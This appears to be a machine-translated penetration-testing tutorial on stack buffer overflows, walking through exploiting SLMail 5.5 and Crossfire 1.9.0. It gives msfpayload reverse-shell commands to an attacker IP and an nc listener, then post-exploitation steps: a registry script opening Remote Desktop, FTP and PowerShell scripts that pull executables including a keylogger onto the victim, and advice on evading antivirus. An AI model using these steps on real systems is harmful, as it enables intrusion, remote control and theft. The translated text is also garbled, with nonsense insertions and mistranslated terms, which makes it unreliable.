


Tutoriel de test d'intrusion Linux : vous enseigne étape par étape le débordement de pile, du début à l'abandon
Veuillez vous référer au didacticiel de test d'intrusion KaliLinux de M. Yuan Fanghong de la salle de classe Security Niu pour le contenu des notes
Le nœud de toutes les vulnérabilités vient de la saisie des données. Le principe du débordement de tampon est que la frontière entre les données et le code est floue. Lorsque la limite du tampon n'est pas stricte, le tampon sera « explosé » en raison du problème. variable transmettant des données mal formées ou une erreur d'exécution du programme "Exploiter", écrasant ainsi les données dans les zones de mémoire vidéo adjacentes, modifiant avec succès les données de la mémoire vidéo, ce qui peut conduire au kidnapping de processus, à l'exécution de code malveillant et à l'acquisition du contrôle du serveur.
Pour mieux comprendre le principe du buffer overflow, merci de vous référer à l'article repris par l'auteur :
Vous apprendre étape par étape le débordement de pile, du début à l'abandon (Partie 1)
Vous apprendre étape par étape à utiliser le débordement de pile, du début à l'abandon (Partie 2)
Répertoire d'articles
1. Façons de découvrir les vulnérabilités (1) Audit du code source
Les développeurs de logiciels peuvent utiliser l'ingénierie sociale et d'autres méthodes pour obtenir le code source à des fins de révision et de débogage. Les conditions sont strictes et le code source est généralement indisponible.
(2) Ingénierie inverse
Utilisez l'ingénierie inverse pour obtenir le code source de l'assembly à des fins d'analyse. L'analyse du code d'assemblage est une charge de travail lourde et difficile.
(3) Fuzzing
C'est un moyen de découvrir les vulnérabilités logicielles en fournissant une entrée inattendue au système cible et en surveillant les résultats anormaux. Généralement, cela se fait en utilisant une entrée valide et en ajoutant des écarts aléatoires, ce qui nécessite l'utilisation d'outils de débogage logiciel (tels que : ImmunityDebugger). .
2. Processus de test de fuzz
Tout d'abord, vous devez comprendre certaines technologies de protection de sécurité contre le débordement de tampon, car ce mécanisme de protection doit être évité pendant le processus de test de fuzz.
(1) Windows
Le logiciel de test est « SLMail5.5.0MailServer » et sa commande PASS présente une vulnérabilité de débordement de tampon. Idée de base : (Utilisez ImmunityDebugger comme outil de débogage)
1. Utilisez un script Python pour tester si la commande PASS débordera lorsqu'elle recevra une grande quantité de données. Habituellement, s'il n'y a pas de débordement après 3 000 caractères, cela signifie qu'il ne devrait pas y avoir de vulnérabilité de débordement.
2. Après avoir découvert la vulnérabilité de débordement, déterminez l'adresse correspondant à l'EIP. Les méthodes de base sont : la méthode binaire et la méthode de chaîne unique. La méthode de chaîne unique peut être générée avec le script métasploit usr/share/metasploit-framework/tools/pattern_create.rb3000.
3. Remplacez l'EIP par l'adresse de la mémoire vidéo correspondant au Shellcode, écrivez le Shellcode dans l'espace d'adressage, le programme lit la valeur du registre EIP, passe au segment de code du shellcode et l'exécute.
4. Grâce à l'outil de débogage, nous avons constaté qu'une fois que les données envoyées ont rempli l'EIP, elles rempliront ensuite l'espace pointé par ESP, nous mettons donc le Shellcode à l'emplacement d'ESP.
5. Déterminez la distance entre l'adresse ESP et le bas de la pile Linux anti-buffer overflow, c'est-à-dire que la taille du Shellcode peut être stockée. Utilisez un script Python pour envoyer des données au logiciel à des fins de test et déboguer le logiciel pour voir la quantité de données stockées dans l'espace pointé par l'ESP. Une vue de l'espace mémoire vidéo d'un processus de système informatique moderne est présentée dans la figure :
Figure 1 Vue de l'espace mémoire du processus
6. En raison du mécanisme ASLR, l'adresse de la pile d'appels de fonction change de manière aléatoire à chaque exécution du logiciel, le codage en dur n'est donc pas réalisable. L'alternative est de rechercher un module système avec une adresse fixe dans la mémoire vidéo et de le trouver. le saut d'adresse de l'instruction JMPESP dans le module. Ensuite, cette instruction passe directement à ESP, puis exécute le shellcode. Utilisez le script mona.py pour identifier le module de mémoire vidéo Recherchez "returnaddress" qui est le module du JMPESP. Instruction Trouvez les modules système qui ne sont pas protégés par les mécanismes DEP et ASLR ! instruction dans le module!monafind-s "xffxe4"-mslmfc.dll, après avoir trouvé l'adresse de l'instruction, convertissez le Remplissez l'adresse de la version EIPlinux qq, construisez le Shellcode et supprimez les mauvais caractères : /msfpayloadwin32_reverseLHOST=192.168.20.8LPORT =443R|./msfencode-b"x00x0ax0d
Remarque : La charge utile sélectionnée lors de la construction du Shellcode est une connexion inversée au lieu d'une connexion directe à lier. Cela peut éviter la stratégie de blocage du pare-feu.
7. Enfin, activez l'exploitation du port nc-vlp443. Une fois le shellcode exécuté, quittez l'ensemble du processus à l'aide de la méthode ExitProcess, ce qui entraînera le blocage du service SMS. Slmail est une application basée sur des threads. l'ensemble du service de planter et d'obtenir des débordements répétés : /msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b"x00x0ax0d"
Remarque : Différents types de programmes, protocoles et vulnérabilités considéreront les caractères individuels comme de mauvais caractères. Ces caractères ont des utilisations fixes, de sorte que les mauvais caractères ne peuvent pas apparaître dans l'adresse de retour, le shellcode ou le tampon. Envoyez 0x00-0xff256 caractères pour trouver tous les mauvais caractères. Les mauvais caractères peuvent être codés à l'aide du script métasploit ./msfencode.
8. Si vous souhaitez contrôler davantage la cible de l'attaque, vous pouvez ouvrir le bureau distant en modifiant le registre. Plus de 90 % des configurations sous Windows peuvent être complétées en modifiant le registre :
.
<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg
(2)Linux
Le logiciel de test est « Crossfire » et la version 1.9.0 présente une vulnérabilité de débordement de tampon lors de l'acceptation de connexions socket entrantes. L'idée de base est la même que celle de Windows Fuzzing (edb est utilisé comme outil de débogage), je n'entrerai donc pas dans les détails. Vous devez faire attention aux points suivants :
.1. Commande de débogage : edb--run/usr/games/crossfire/bin/crossfire
2. Lors de la vérification du débordement de tampon, nous avons constaté que la valeur d'EIP ne peut être couverte avec précision que lorsque la charge utile est fixée à 4368 octets. De cette façon, l'espace pointé par ESP n'a que 7 octets, ce qui n'est pas suffisant. mettez le Shellcode. Par conséquent, la recherche dans l'edb peut être Le registre entièrement couvert par les données trouve EAX, donc, comme solution de contournement, ESP passe à EAX pour exécuter le Shellcode.
3. Sélectionnez et modifiez EXP
Il existe des codes d'aide (EXP) sur Internet pour diverses vulnérabilités logicielles publiées depuis longtemps. Nous pouvons choisir des sources EXP fiables et effectuer des recherches ou des modifications sur cette base, en particulier le Shellcode ne peut pas être utilisé facilement Anti-tampon Linux. overflow, il existe Pour les applications système Linux pouvant contenir des virus, les langages de programmation qu'il faut maîtriser incluent généralement Python, C, C++, Ruby, etc. Plusieurs sources d'EXP fiables :
Après avoir reçu de l'EXP, vous devez faire attention aux points suivants :
4. Étape post-vulnérabilité
Y compris d'autres opérations telles que le téléchargement d'outils, l'élévation des privilèges, l'effacement des traces d'attaque et l'installation de portes latérales. Ici, nous discutons uniquement de l'opération de téléchargement de fichiers. Le téléchargement de fichiers est la base de la pré-installation des chevaux de Troie et de l'installation des portes latérales. le shell du système d’exploitation cible qui a été obtenu. Effectuer les opérations de téléchargement de fichiers.
(一)Windows
首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:
1.Linux端:配置ftp服务
登陆FTP有三种形式:
<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span> vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span> <span class="token comment">#添加配置</span> local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span> <span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span> <span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span> chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span> chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span> chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list <span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span> userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span> userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span> <span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span> <span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span> <span class="token function">mkdir</span> /home/ftpduser <span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1 <span class="token function">service</span> vsftpd start
2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置
(1)使用ftp传输文件
由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。
<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt
(2)使用powershell传输文件
<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span> <span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient <span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span> <span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span> <span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span> powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1
(二)Linux
借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。
注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Résumé de quelques raisons pour lesquelles les tâches planifiées crontab ne sont pas exécutées. Heure de mise à jour : 9 janvier 2019 09:34:57 Auteur : Hope on the field Cet article résume et vous présente principalement quelques raisons pour lesquelles les tâches planifiées crontab ne sont pas exécutées. tout le monde Des solutions sont données pour chacun des déclencheurs possibles, qui ont une certaine valeur de référence et d'apprentissage pour les collègues qui rencontrent ce problème. Les étudiants dans le besoin peuvent suivre l'éditeur pour apprendre ensemble. Préface : J'ai récemment rencontré des problèmes au travail. La tâche n'a pas été exécutée. Plus tard, lors d'une recherche sur Internet, j'ai découvert qu'Internet mentionnait principalement ces cinq incitations : 1. Le service crond n'est pas démarré n'est pas une fonction du noyau Linux, mais repose sur un cron.

Voulez-vous ajouter un peu d'humour à votre script ou application Python ? Que vous construisiez un chatbot, développiez un outil de ligne de commande ou souhaitiez simplement vous divertir avec des blagues aléatoires, la bibliothèque pyjokes peut vous aider. Avec pyjokes, vous pouvez facilement générer des blagues dans différentes catégories et les personnaliser à votre guise. Dans cet article de blog, nous explorerons comment créer des blagues aléatoires en Python à l'aide de la bibliothèque pyjokes. Nous couvrirons le processus d'installation, la génération de différentes catégories de blagues, la personnalisation des blagues, leur affichage dans une application console ou une page Web et la gestion des erreurs potentielles qui peuvent survenir. Installer des pyjokes Avant de commencer à utiliser des pyjokes pour créer des blagues aléatoires, nous avons besoin

Python et Excel sont deux outils puissants qui, lorsqu'ils sont combinés, peuvent ouvrir un monde d'automatisation. Python dispose de bibliothèques polyvalentes et d'une syntaxe conviviale qui nous permettent d'écrire des scripts pour effectuer efficacement diverses tâches. Excel, quant à lui, est un tableur largement utilisé qui fournit une interface familière pour l’analyse et la manipulation des données. Dans ce didacticiel, nous explorerons comment exploiter Python pour automatiser le processus d'actualisation des feuilles de calcul Excel, ce qui nous fera gagner du temps et des efforts. Passez-vous un temps précieux à actualiser manuellement votre feuille de calcul Excel avec des données mises à jour ? Il s’agit d’une tâche répétitive et chronophage qui peut réellement nuire à la productivité. Dans cet article, nous vous guiderons dans l'utilisation de Py

PyCharm est un puissant environnement de développement intégré Python qui fournit une multitude de fonctions et d'outils pour aider les développeurs à améliorer leur efficacité. Parmi eux, PyInstaller est un outil couramment utilisé qui permet de regrouper le code Python dans un fichier exécutable (format EXE) pour faciliter l'exécution sur des machines sans environnement Python. Dans cet article, nous présenterons comment utiliser PyInstaller dans PyCharm pour empaqueter le code Python au format EXE et fournirons des informations spécifiques.

Orange3 est un puissant outil open source de visualisation de données et d'apprentissage automatique. Il dispose de riches fonctions de traitement, d'analyse et de modélisation des données, offrant aux utilisateurs des solutions simples et rapides d'exploration de données et d'apprentissage automatique. Cet article présentera brièvement les fonctions de base et l'utilisation d'Orange3, et le combinera avec des scénarios d'application réels et des cas de code Python pour aider les lecteurs à mieux maîtriser les compétences d'utilisation d'Orange3. Les fonctions de base d'Orange3 incluent le chargement des données, le prétraitement des données, la sélection des fonctionnalités, l'établissement et l'évaluation du modèle, etc. Les utilisateurs peuvent utiliser l'interface intuitive pour glisser-déposer des composants afin de créer facilement des processus de données. Dans le même temps, des tâches plus complexes de traitement de données et de modélisation peuvent également être réalisées via des scripts Python. Ci-dessous, nous passerons par un exercice pratique

Comment lire des données Excel avec PyCharm ? Les étapes sont les suivantes : installer la bibliothèque openpyxl ; importer la bibliothèque openpyxl ; charger le classeur Excel ; accéder aux cellules de la feuille de calcul ;

1. Ouvrez d’abord pycharm et accédez à la page d’accueil de pycharm. 2. Créez ensuite un nouveau script python, cliquez avec le bouton droit sur nouveau - cliquez sur fichier python. 3. Entrez une chaîne, code : s="-". 4. Ensuite, vous devez répéter les symboles de la chaîne 20 fois, code : s1=s*20 5. Entrez le code de sortie d'impression, code : print(s1). 6. Enfin, exécutez le script et vous verrez notre valeur de retour en bas : - répété 20 fois.

Tutoriel d'installation et de configuration de Flask : Un outil pour créer facilement des applications Web Python, des exemples de code spécifiques sont nécessaires Introduction : Avec la popularité croissante de Python, le développement Web est devenu l'une des compétences nécessaires pour les programmeurs Python. Pour réaliser du développement web en Python, nous devons choisir un framework web adapté. Parmi les nombreux frameworks Web Python, Flask est un framework simple, facile à utiliser et flexible qui est privilégié par les développeurs. Cet article présentera l'installation du framework Flask,
